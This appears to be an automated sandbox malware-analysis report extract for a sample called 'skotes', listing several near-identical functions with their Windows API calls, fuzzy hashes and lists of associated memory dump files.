Opcode Fuzzy Hash: 5e32b7d71d8a73bd298d5ae4c3ff2bcbf4326f318793c666819d8f0c1a21687c
Instruction Fuzzy Hash: 103125716042008BEB18EF7CDC887AEB7A6EFCA314F245618E014BB3D6C735A980C711

Function 00EA9F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EA9F47
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 47442de9a195b88cf2e94c7ebe162c8f29f825f4e29c1675bafd131c46d638a3
Instruction ID: 66ba3ccbc25ba22958d6973c29f2d8edc4ca3822a96622eacd382e983d9d9c9e
Opcode Fuzzy Hash: 47442de9a195b88cf2e94c7ebe162c8f29f825f4e29c1675bafd131c46d638a3
Instruction Fuzzy Hash: C83127317042048BEB18EF68DC887ADB7A2EBCA314F245229E014FF2D5D736A981C712

Function 00EAA079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EAA07C
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3b1addf2b2d7d73d688980afa0efef2e748743d81b0affe6b8e05d01f7d7f28a
Instruction ID: 6415a7e1b609d896a32b00ca4ec5de363b28d5496a42cd4da997169e0d9d32ae
Opcode Fuzzy Hash: 3b1addf2b2d7d73d688980afa0efef2e748743d81b0affe6b8e05d01f7d7f28a
Instruction Fuzzy Hash: CE314A716043009BEB08EF7CDCC4B9DB7A2EBDA314F285229E014BB3D5C7766980C612

Function 00EAA1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EAA1B1
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: df78feb6717f2d6a3f744490cf2fc9dbeec1a48c57c59a66ed5d3e9a12dc0474
Instruction ID: f5e13b4f380df3f495e47d4d6d9d76a20d0baaf286a2d3f09f1236a3d2d32557
Opcode Fuzzy Hash: df78feb6717f2d6a3f744490cf2fc9dbeec1a48c57c59a66ed5d3e9a12dc0474
Instruction Fuzzy Hash: 5A314C716043009BFB18DF6CDC8879DB762EBDB314F285229E004BB3D5D7366990C622

Function 00EAA2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EAA2E6
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 2d37e584af4afea816552178006485a838953d14216b4d5a6516b34868834432
Instruction ID: 8a9cfebea958413c43d0272a6780b8ebaef5a3a8f86aaf70f30acf6881db0844
Opcode Fuzzy Hash: 2d37e584af4afea816552178006485a838953d14216b4d5a6516b34868834432
Instruction Fuzzy Hash: A53139316043009BEF08DF6CDC847ADB7A2EBDB314F285228E014BB6D5C776A984C712

Function 00EAA418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EAA41B
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
